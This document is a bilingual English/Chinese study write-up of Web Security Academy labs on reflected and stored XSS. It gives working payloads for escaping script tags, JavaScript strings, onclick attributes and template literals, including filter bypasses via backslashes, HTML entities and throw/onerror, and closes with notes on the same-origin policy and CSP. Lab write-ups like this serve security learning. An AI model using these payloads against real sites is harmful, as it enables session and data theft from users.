In the simplest case, it is possible to simply close the script tag that is enclosing the existing JavaScript, and introduce some new HTML tags that will trigger execution of JavaScript. For example, if the XSS context is as follows: 在最简单的情况下,可以关闭包含现有JavaScript的脚本标签,并引入一些新的HTML标签来触发JavaScript的执行。例如,如果XSS上下文如下:
<script> ... var input = 'controllable data here'; ... </script>
then you can use the following payload to break out of the existing JavaScript and execute your own: 然后你可以用以下负载突破现有的JavaScript,执行你自己的JavaScript:
</script><img src=1 onerror=alert(document.domain)>
The reason this works is that the browser first performs HTML parsing to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts. The above payload leaves the original script broken, with an unterminated string literal. But that doesn’t prevent the subsequent script being parsed and executed in the normal way. 之所以能做到这一点,是因为浏览器首先会进行HTML解析来识别包括脚本块在内的页面元素,然后才进行JavaScript解析来理解并执行嵌入的脚本。上述载荷使原始脚本破损,字符串字面值未终止。但这并不妨碍后续脚本被正常解析和执行。
Lab 18
Reflected XSS into a JavaScript string with single quote and backslash escaped
将 XSS 反射到带有单引号和反斜杠的 JavaScript 字符串中
搜索 justki:
<script>
var searchTerms = 'justki';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
如果能够用' 闭合前面的内容,那么就可以写入我们想要执行的js代码了。
搜索 'justki:
<script>
var searchTerms = '\'justki';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
发现 ' 被转义了,那我们就会想能不能用 \ 去抵消他的转义(前提是 \ 没有被转义)。
搜索 \' justki,
<script>
var searchTerms = '\\\'justki';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
很明显,又失败了。这个时候我们就想,既然闭合不了引号,那能不能闭合标签呢。
搜索 </script><script>alert(1)</script>,
<script>
var searchTerms = '</script><script>alert(1)</script>';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
也就是,
<script>var searchTerms = '</script>
<script>alert(1)</script>
"';document.write('"
<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">
"'); "
那为啥会有这样奇怪的字符串呢?
其实HTML parser 有一个行为:
当结构不完整时,会尝试补齐一个“最小合法结构”
并且默认优先用双引号
In cases where the XSS context is inside a quoted string literal, it is often possible to break out of the string and execute JavaScript directly. It is essential to repair the script following the XSS context, because any syntax errors there will prevent the whole script from executing. 当 XSS 上下文位于引号字符串文字内时,通常可以跳出字符串直接执行 JavaScript。必须按照 XSS 上下文修复脚本,因为任何语法错误都会阻止整个脚本执行。
Some useful ways of breaking out of a string literal are: 一些有用的脱离字符串字面形式的方法包括:
'-alert(document.domain)-'
';alert(document.domain)//
Query 17 为什么这两种方式可以脱离字符串形式呢
她两的解析结果为:
'' - alert(document.domain) - ''运用减法运算(表达式拼接)(原因之前说过了);
''; // 第一条语句 alert(document.domain); // 第二条语句 //'; // 注释掉后面巧妙 结束语句和解析。
本质原因:
JavaScript 是基于分隔符(delimiter)的语法
关键分隔符:
'/"→ 控制字符串;→ 控制语句//→ 控制解析终止其实说到底,==XSS 利用 = 控制“语法边界”(引号 / 分号 / 注释)==
Lab19
Reflected XSS into a JavaScript string with angle brackets HTML encoded
将XSS反射到带有角括号的JavaScript字符串中,编码为HTML
<script>
var searchTerms = 'justki';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
和上一题不一样的地方在于,
<script>
var searchTerms = '</script><script>alert(1)</script>';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
所以,搜索 '-alert(1)-' ,
<script>
var searchTerms = ''-alert(1)-'';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
解析结果为,
'' // 空字符串(第一个字符串)
- alert(1) // 执行函数
- '' // 再一个空字符串
成功。
Some applications attempt to prevent input from breaking out of the JavaScript string by escaping any single quote characters with a backslash. A backslash before a character tells the JavaScript parser that the character should be interpreted literally, and not as a special character such as a string terminator. In this situation, applications often make the mistake of failing to escape the backslash character itself. This means that an attacker can use their own backslash character to neutralize the backslash that is added by the application. 一些应用程序试图通过反斜杠跳出任何单引号字符来防止输入脱离JavaScript字符串。字符前的反斜杠告诉JavaScript解析器该字符应字面解释,而非字符串终止符等特殊字符。在这种情况下,应用程序常常犯错,未能逃离背斜杠字符本身。这意味着攻击者可以使用自己的反斜线角色来中和应用添加的反斜线。
For example, suppose that the input: 例如,假设输入:
';alert(document.domain)//
gets converted to: 转换为:
\';alert(document.domain)//
You can now use the alternative payload: 你现在可以使用替代有效载荷:
\';alert(document.domain)//
which gets converted to: 该转换为:
\\';alert(document.domain)//
Here, the first backslash means that the second backslash is interpreted literally, and not as a special character. This means that the quote is now interpreted as a string terminator, and so the attack succeeds. 这里,第一反斜线意味着第二反斜线是字面意思,而不是特殊字符。这意味着该引号现在被解释为字符串终止符,因此攻击成功。
Lab 20
Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
将 XSS 反映为带有尖括号和双引号的 JavaScript 字符串,HTML 编码,单引号跳脱
<script>
var searchTerms = '\\'-alert(1)-\\'';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
解析结果为,
'\'' // 一个字符串(内容是 \')
- alert(1)
- '\'' // 另一个字符串
即 '-alert(1)-'
使其成为了一个字符串,而没有被执行。
搜索 \';laert(1)//,
<script>
var searchTerms = '\\';alert(1)//';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
Some websites make XSS more difficult by restricting which characters you are allowed to use. This can be on the website level or by deploying a WAF that prevents your requests from ever reaching the website. In these situations, you need to experiment with other ways of calling functions which bypass these security measures. One way of doing this is to use the throw statement with an exception handler. This enables you to pass arguments to a function without using parentheses. The following code assigns the alert() function to the global exception handler and the throw statement passes the 1 to the exception handler (in this case alert). The end result is that the alert() function is called with 1 as an argument.
有些网站通过限制允许使用的字符,使XSS更难。这可以是在网站层面,或者通过部署WAF来阻止你的请求进入网站。在这种情况下,你需要尝试其他调用函数的方式来绕过这些安全措施。一种方法是使用带有异常处理程序的throw语句。这使你能够在不使用括号的情况下将参数传递给函数。以下代码将 alert() 函数分配给全局异常处理程序,throw 语句将 1 传递给异常处理程序(此例为 alert)。最终结果是调用alert()函数时参数为1。
onerror=alert;throw 1
There are multiple ways of using this technique to call functions without parentheses. 使用这种技术有多种方式可以调用无括号的函数。
The next lab demonstrates a website that filters certain characters. You’ll have to use similar techniques to those described above in order to solve it. 下一个实验演示了一个过滤特定字符的网站。你需要用上文描述的类似技巧来解决这个问题。
Lab 21
Reflected XSS in a JavaScript URL with some characters blocked
在 JavaScript URL 中反映 XSS 并屏蔽部分字符
<div class="is-linkback">
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d4'}).finally(_ => window.location = '/')">Back to Blog</a>
</div>
再js中,可以出现函数原定义传入2个参数,而我传入3个或更多参数的情况。不会像其他语言一样报错,并且这些参数都会被求值 。
https://0a4b002103aa4124806d30af009f00d1.web-security-academy.net/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'
<div class="is-linkback">
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=4&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:''}).finally(_ => window.location = '/')">Back to Blog</a>
</div>
这次我们采用反向分析哈,先整理一下结构,
<a href="javascript:
fetch('/analytics', {method:'post', body:'/post?postId=4&'},
x = x => { throw/**/onerror = alert, 1337 },
toString = x,
window + '',
{x:''}
).finally(_ => window.location = '/')
">
Back to Blog
</a>
&==> 参数分隔符,意味着后面还可以接参数。
'==> 结束字符串。
javascript: URL==> 当用户点击链接时,浏览器会把href当作 JS 代码执行。
fetch(...)==> 调用了 包含我们塞入的多余参数在内的 多个参数。
x = (x) => { ... }==> 定义了一个函数,其中的运算顺序为:先onerror = alert,后throw 1337。而且
throw能触发alert的关键,在于浏览器有一个全局错误处理器:onerror。
/**/==> 相当于空格。
,==> 返回最后一个值(1337),但同时执行前面的赋值。
toString = x==> 通常是为了 避免某些隐式字符串转换报错,或绕过滤器。
toString = x,window + ''==> 强制执行window.toString()。
{x:''}==> 一个无意义对象参数,只是为了保证表达式结构合法。
When the XSS context is some existing JavaScript within a quoted tag attribute, such as an event handler, it is possible to make use of HTML-encoding to work around some input filters. 当 XSS 上下文是带有引号的标签属性中的某个现有 JavaScript,例如事件处理程序时,可以使用 HTML 编码来绕过某些输入过滤器。
When the browser has parsed out the HTML tags and attributes within a response, it will perform HTML-decoding of tag attribute values before they are processed any further. If the server-side application blocks or sanitizes certain characters that are needed for a successful XSS exploit, you can often bypass the input validation by HTML-encoding those characters. 当浏览器解析出响应中的HTML标签和属性后,会在标签属性值进行HTML解码,然后再处理它们。如果服务器端应用程序屏蔽或净化了成功 XSS 利用所需的某些字符,你通常可以通过用 HTML 编码这些字符绕过输入验证。
For example, if the XSS context is as follows: 例如,如果XSS上下文如下:
and the application blocks or escapes single quote characters, you can use the following payload to break out of the JavaScript string and execute your own script: 应用程序会阻断或转义单引号字符,你可以使用以下负载来跳出JavaScript字符串,执行您自己的脚本:
'-alert(document.domain)-'
The ' sequence is an HTML entity representing an apostrophe or single quote. Because the browser HTML-decodes the value of the onclick attribute before the JavaScript is interpreted, the entities are decoded as quotes, which become string delimiters, and so the attack succeeds.
‘序列是一个表示撇号或单引号的HTML实体。由于浏览器在解释JavaScript之前先对onclick属性的值进行了HTML解码,实体被解码为引号,引号变成字符串分隔符,因此攻击成功了。
Lab 22
Stored XSS into
onclickevent with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped将XSS存储在onclick事件中,带角括号和双引号,HTML编码,单引号和反斜杠逃逸
先随便提交一些数据看看,
<a
id="author"
href="http://www.justk1.asia"
onclick="var tracker={track(){}};
tracker.track('http://www.justk1.asia');
">
fake name
</a>
如果我们试图通过BP抓包,再website出传入一个不符合规范的语句,则会,
"Invalid website."
当然,要在这个位置构造,这一点是毫无疑问的,所以我们的构造语句也要符合规范,
[!IMPORTANT]
URL 的通用规范来自:
- IETF 发布的 RFC 文档
- 以及浏览器实际遵循的 WHATWG URL 标准(更贴近现实实现)
标准形式:
scheme://host:port/path?query#fragment
部分 示例 作用 scheme https协议 host example.com主机 port 443端口 path /search路径 query ?q=test参数 fragment #top前端锚点 但是,
但是,
但是,
重要的事情说三遍:
URL 不需要“完整结构”才能被解析。只要满足最小语法条件,浏览器就能解析。
即:
http://example.com
所以,
http://www.abc?'alert(1)'
<a
id="author"
href="http://www.abc?\'alert(1)\'"
onclick="var tracker={track(){}};
tracker.track('http://www.abc?\'alert(1)\'');
">
1
</a>
结果被转义了(我们这里注意的是 onclick,只有这后面的才会被执行, href 外层有 "导致里面的就是不同字符串)
根据实验的题目,我就不再尝试二次转义了,直接上 HTML编码 吧,
' → '
" → "
< → <
> → >
& → &
http://www.abc?'-alert(1)-'
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar"> <a
id="author"
href="http://www.abc?'-alert(1)-'"
onclick="var tracker={track(){}};
tracker.track('http://www.abc?'-alert(1)-'');
">
1
</a>
| 02 May 2026
</p>
JavaScript template literals are string literals that allow embedded JavaScript expressions. The embedded expressions are evaluated and are normally concatenated into the surrounding text. Template literals are encapsulated in backticks instead of normal quotation marks, and embedded expressions are identified using the ${...} syntax.
JavaScript 模板的文字是允许嵌入 JavaScript 表达式的字符串文字。嵌入表达式会被评估,通常会被串接到周围的文本中。模板文字以反向引号封装,而非普通引号,嵌入表达式则使用${…}语法标识。
For example, the following script will print a welcome message that includes the user’s display name: 例如,以下脚本将打印包含用户显示名称的欢迎消息:
document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;
When the XSS context is into a JavaScript template literal, there is no need to terminate the literal. Instead, you simply need to use the ${...} syntax to embed a JavaScript expression that will be executed when the literal is processed. For example, if the XSS context is as follows:
当 XSS 上下文进入 JavaScript 模板的字面值时,无需终止该文字。相反,你只需使用 ${…} 语法嵌入一个 JavaScript 表达式,当处理文字时该表达式将被执行。例如,如果XSS上下文如下:
then you can use the following payload to execute JavaScript without terminating the template literal: 然后你可以使用以下负载执行JavaScript而不终止模板的字面性文件:
${alert(document.domain)}
Lab 23
Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
将XSS反映为带有角括号、单引号、双引号、反斜杠和反勾的模板,Unicode跳脱
先用 <script>alert(1)</script> 试试水,
<script>
var message = `0 search results for '\u003cscript\u003ealert(1)\u003c/script\u003e'`;
document.getElementById('searchMessage').innerText = message;
</script>
凭借经验,一眼就看出 \u003c 是Unicode编码。也就是说,涉及 <>的基本上是废了。
反引号( ` )表示的是模板字符串,唯一插值语法是
${ 表达式 }。反引号内部的就只是普通的字符串,没有任何语法作用。
innerText==> 把内容当纯文本渲染,不解析 HTML、不执行 JS。
所以我们选择使用 ${} 嵌入js表达式,
${alert(1)}
Tip 18
Some websites use a client-side template framework, such as AngularJS, to dynamically render web pages. If they embed user input into these templates in an unsafe manner, an attacker may be able to inject their own malicious template expressions that launch an XSS attack. 一些网站使用客户端模板框架,如 AngularJS,来动态渲染网页。如果他们以不安全的方式将用户输入嵌入这些模板中,攻击者可能会注入自己的恶意模板表达式,从而发动XSS攻击。
T2
Manually testing for DOM-based XSS arising from URL parameters involves a similar process: placing some simple unique input in the parameter, using the browser’s developer tools to search the DOM for this input, and testing each location to determine whether it is exploitable. However, other types of DOM XSS are harder to detect. To find DOM-based vulnerabilities in non-URL-based input (such as document.cookie) or non-HTML-based sinks (like setTimeout), there is no substitute for reviewing JavaScript code, which can be extremely time-consuming. Burp Suite’s web vulnerability scanner combines static and dynamic analysis of JavaScript to reliably automate the detection of DOM-based vulnerabilities.
手动测试由URL参数引起的基于DOM的XSS漏洞涉及类似的过程:在参数中放置一些简单的唯一输入,使用浏览器的开发者工具在DOM中搜索此输入,并测试每个位置以确定其是否可被利用。然而,其他类型的DOM XSS更难以检测。要查找非URL输入(如document.cookie)或非HTML类sink(如setTimeout)中的基于DOM的漏洞,没有比审查JavaScript代码更有效的方法,这可能非常耗时。Burp Suite的Web漏洞扫描器结合了JavaScript的静态和动态分析,以可靠地自动化检测基于DOM的漏洞。
T3
CSP is a browser security mechanism that aims to mitigate XSS and some other attacks. It works by restricting the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages.
CSP 是一种浏览器安全机制,旨在缓解 XSS 和一些其他攻击。它通过限制页面可以加载的资源(如脚本和图片)以及限制页面是否可以被其他页面嵌套框架中来实现这一目标。
In addition to whitelisting specific domains, content security policy also provides two other ways of specifying trusted resources: nonces and hashes:
除了白名单特定域名外,内容安全策略还提供了另外两种指定可信资源的方法:一次性随机值和哈希值:
- The
CSPdirective can specify a nonce (a random value) and the same value must be used in the tag that loads a script. If the values do not match, then the script will not execute. To be effective as a control, the nonce must be securely generated on each page load and not be guessable by an attacker. 内容安全策略指令可以指定一个一次性随机值(nonce),并且加载脚本的标签中必须使用相同的值。如果值不匹配,脚本将不会执行。为了有效控制,每次页面加载时nonce必须被安全地生成,并且不能被攻击者猜测。 - The
CSPdirective can specify a hash of the contents of the trusted script. If the hash of the actual script does not match the value specified in the directive, then the script will not execute. If the content of the script ever changes, then you will of course need to update the hash value that is specified in the directive.CSP指令可以指定可信脚本内容的哈希值。如果实际脚本的哈希值与指令中指定的值不匹配,那么脚本将不会执行。如果脚本的内容有任何更改,当然需要更新指令中指定的哈希值。
原理理解
同源策略
1️⃣ 什么是同源策略(Same-Origin Policy)
同源策略 是浏览器最核心的安全机制之一,本质规则是:
一个网页的脚本,只能访问“同源”的资源
✅ “同源”具体指:
必须 协议 + 域名 + 端口 都完全相同
例如:
| URL | 是否同源 |
|---|---|
| https://a.com/page1 | — |
| https://a.com/page2 | ✅ |
| http://a.com/page | ❌(协议不同) |
| https://b.com | ❌(域名不同) |
| https://a.com:8080 | ❌(端口不同) |
2️⃣ 同源策略在防什么?
它防的是:
❗ 一个网站偷偷读取另一个网站的数据
举个非常实际的例子:
你登录了银行:
https://bank.com
同时打开了一个恶意网站:
https://evil.com
👉 如果没有同源策略:
evil.com 可以直接执行:
fetch("https://bank.com/account")
然后把你的余额、cookie 全偷走。
👉 但因为同源策略:
- evil.com 不能读取 bank.com 的响应内容
- 不能直接访问它的 DOM / cookie
3️⃣ 那 XSS 是怎么“绕过”的?
这里是关键。
跨站脚本攻击 的本质是:
❗ 把“攻击者的代码”,变成“目标网站自己的代码”
🔥 举个典型场景
目标网站:
https://example.com
存在 XSS:
<input value="<script>攻击代码</script>">
用户访问后:
👉 浏览器会认为这段 JS 是 example.com 提供的
⚠️ 关键点来了:
此时执行的 JS:
- 运行在 example.com 的上下文中
- 拥有 example.com 的权限
👉 所以它可以:
document.cookie // 读取 cookie
fetch("/api/user") // 获取用户数据
localStorage // 拿 token
4️⃣ 为什么说“绕过同源策略”?
因为:
| 情况 | 能不能访问 example.com 数据 |
|---|---|
| evil.com 页面 | ❌ 不行(被同源策略限制) |
| XSS 注入后的 JS | ✅ 可以 |
👉 本质区别:
- evil.com → 跨域访问(被限制)
- XSS → 伪装成同源代码(被允许)
5️⃣ 一句话总结
那句话真正意思是:
XSS 让攻击者的代码“披上目标网站的身份运行”,从而获得该网站的权限,而不是去“跨域访问”,因此等价于绕过了同源策略。
6️⃣ 用更技术一点的话说(适合你现在阶段)
同源策略限制的是:
不同 origin 之间的访问
而 XSS 做的是:
代码注入到同一 origin 内执行
👉 所以它不是“突破策略”,而是:
从策略内部攻击(same-origin execution)
CSP
哈希好理解,随机数的话我还是搜索了一下的,也就是说:如果目标站点使用了 nonce 型 CSP,
- 你构造的
<script>payload 必须带上“正确的 nonce”,否则浏览器会直接拒绝执行。
通常控制台会看到类似报错:
Refused to execute inline script because it violates CSP
- 写了“错误的 nonce”也没用
<script nonce="wrong">alert(1)</script>
👉 浏览器会做:
wrong ≠ abc123 → 拒绝执行
所以:
nonce 必须完全匹配当前页面 CSP 里的值

